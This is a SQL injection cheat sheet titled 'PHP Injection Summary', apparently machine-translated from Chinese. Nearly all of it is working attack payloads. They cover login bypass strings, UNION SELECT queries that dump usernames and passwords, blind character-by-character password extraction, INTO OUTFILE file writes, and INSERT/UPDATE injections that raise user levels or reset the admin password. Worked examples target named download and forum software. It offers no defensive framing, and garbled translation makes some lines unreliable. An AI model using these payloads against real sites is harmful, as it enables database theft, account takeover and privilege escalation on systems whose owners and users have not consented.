PHP Injection Summary

' Or 1=1
' or ' 1=1
'/*
'%23
' and password= ' Mypass
Id=-1 Union Select 1,1,1
Id=-1 Union Select char (), char (), char (97)
Id=1 Union select 1,1,1 from members
Id=1 Union select 1,1,1 from admin
Id=1 Union select 1,1,1 from user
Userid=1 and Password=mypass
Userid=1 and Mid (password,3,1) =char (112)
Userid=1 and Mid (password,4,1) =char (97)
and Ord (Mid (password,3,1)) >111 (Ord function is very good, can return to the plastic)
' and length (password) = ' 6 (Probe password length)
' and Left (password,1) = ' m
' and Left (password,2) = ' my
.............................. By analogy
' Union select 1,username,password from user/*
' Union select 1,username,password from user/*
= ' Union select 1,username,password from user/* (can be 1 or = after directly with)
99999 ' Union select 1,username,password from user/*
' Into outfile ' c:/file.txt (export file)
= ' or 1=1 into outfile ' C:/file.txt
1 ' union select 1,username,password from user into outfile ' c:/user.txt
Select password from admins where login= ' John ' into DumpFile '/path/to/site/file.txt '
Id= ' Union select 1,username,password from user into outfile
Id=-1 Union Select 1,database (), version () (Flexible application query)
Common query test statements,
SELECT * FROM table where 1=1
SELECT * FROM table where ' uuu ' = ' UUU '
SELECT * FROM table where 1<>2
SELECT * FROM table where 3>2
SELECT * FROM table where 2<3
SELECT * FROM table where 1
SELECT * FROM table where 1+1
SELECT * FROM table where 1--1
SELECT * FROM table where ISNULL (NULL)
SELECT * FROM table where ISNULL (COT (0))
SELECT * FROM table where 1 was not NULL
SELECT * FROM table where NULL is NULL
SELECT * FROM table where 2 BETWEEN 1 and 3
SELECT * FROM table where ' B ' BETWEEN ' A ' and ' C '
SELECT * FROM table where 2 in (0,1,2)
SELECT * FROM table where case is 1>0 THEN 1 end

For example: Night Cat Download System version 1.0
Id=1 Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1
id=10000 Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1 and groupid=1
Union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1 (replace, find password)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,1,1)) =49 (verify first-digit password)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,2,1)) =50 (second place)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,3,1)) =51
..................................................................

For example 2: Gray trajectory Transformation ID for testing (meteor)
Union%20 (Select%20allowsmilies,public,userid, ' 0000-0-0 ', User (), version ()%20from%20calendar_events%20where% 20eventid%20=% 2013)%20order%20by%20eventdate
Union%20 (Select%20allowsmilies,public,userid, ' 0000-0-0 ', Pass (), version ()%20from%20calendar_events%20where% 20eventid%20=%)%20order%20by%20eventdate
To construct a statement:
Select Allowsmilies,public,userid,eventdate,event,subject from calendar_events where EventID = 1 Union (select 1,1,1,1,1 , 1,1 from user where userid=1)
Select Allowsmilies,public,userid,eventdate,event,subject from calendar_events where EventID = 1 Union (select 1,1,1,1, Username,password from user where userid=1)
Union%20 (select%201,0,2, ' 1999-01-01 ', ' a ', password%20from%20u ser%20where%20userid%20=%205)%20order%20by% 20eventdate
Union%20 (select%201,0,12695, ' 1999-01-01 ', ' a ', Password%20from%20user%20where%20userid=13465)%20order%20by% 20eventdate
Union%20 (select%201,0,12695, ' 1999-01-01 ', ' a ', userid%20from%2 0user%20where%20username= ' Sandflee ')%20order%20by% 20eventdat e (id of sand check)


(Select a from table_name where a=10 and b=1 order by a LIMIT 10)
SELECT * from article where articleid= ' $id ' union SELECT * FROM ... (Fields and databases are in the same situation, can be submitted directly)
SELECT * from article where articleid= ' $id ' union select 1,1,1,1,1,1,1 ... (Under different circumstances)

Special skills: In forms, search engines and other places to write:
"___"
".__ "
"%
% ' ORDER by articleid/*
% ' ORDER by articleid#
__ ' ORDER BY articleid/*
__ ' ORDER BY articleid#

$command = "dir c:\"; system ($command);
SELECT * from article where articleid= ' $id '
SELECT * from article where articleid= $id
1 ' and 1=2 union SELECT * from user where userid=1/* sentence becomes
(SELECT * from article where articleid= ' 1 "and 1=2 union SELECT * from user where userid=1/* ')
1 and 1=2 Union SELECT * from user where userid=1

Statement form: Create a library, insert:
Create DATABASE ' injection '
Create TABLE ' user ' (
' userid ' int (one) not NULL auto_increment,
' username ' varchar not NULL default ',
' Password ' varchar not NULL default ',
PRIMARY KEY (' userid ')
) ;
Insert INTO ' user ' VALUES (1, ' Swap ', ' mypass ');


Insert as a registered User:
Insert INTO ' user ' (userid, username, password, homepage, userlevel) VALUES (', ' $username ', ' $password ', ' $homepage ', ' 1 ');
"INSERT into membres (login,password,nom,email,userlevel) VALUES (' $login ', ' $pass ', ' $nom ', ' $email ', ' 1 ')";
Insert into membres (login,password,nom,email,userlevel) VALUES (', ', ', ', ', ', ', ', ', ' 3 ') # ', ' 1 ')
Insert into membres SET login= ' $login ', password= ' $pass ', nom= ' $nom ', email= ' $email ';
Insert into membres SET login= ', password= ', nom= ', userlevel= ' 3 ', email= '
"INSERT into membres VALUES (' $id ', ' $login ', ' $pass ', ' $nom ', ' $email ', ' 1 ')";

Update user SET password= ' $password ', homepage= ' $homepage ' where id= ' $id '
Update user SET password= ' MD5 (mypass) ' where username= ' admin ' #) ', homepage= ' $homepage ' where id= ' $id '
"Update membres SET password= ' $pass ', nom= ' $nom ', email= ' $email ' where id= ' $id '";
Update membres SET password= ' [Pass] ', nom= ', userlevel= ' 3 ', email= ' where id= ' [id] '
"Update News SET votes=votes+1, score=score+ $note where idnews= ' $id '";

Long function:
DATABASE ()
USER ()
System_user ()
Session_user ()
Current_User ()
Like what:
Update article SET title= $title where articleid=1 corresponding function
Update article SET title=database () where id=1
#把当前数据库名更新到title字段
Update article SET Title=user () where id=1
Update #把当前 MySQL username to Title field
Update article SET Title=system_user () where id=1
Update #把当前 MySQL username to Title field
Update article SET Title=session_user () where id=1
Update #把当前 MySQL username to Title field
Update article SET Title=current_user () where id=1
#把当前会话被验证匹配的用户名更新到title字段

：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：
$req = "SELECT * from membres where name is $search% ' order by name";
SELECT * from membres where name like ' percent ' order by uid#% ' ORDER by name
SELECT * from membres where name like ' percent ' order by uid#% ' ORDER by name
Select UID from admins where login= ' or ' a ' = ' a ' and password= ' or ' a ' = ' a ' (classic)
Select UID from admins where login= ' OR admin_level=1# ' and password= '
SELECT * FROM table where msg like '%hop '
Select UID from membres where login= ' Bob ' and password like ' a% ' and password= '
SELECT * from membres where name like ' percent ' order by uid#% ' ORDER by name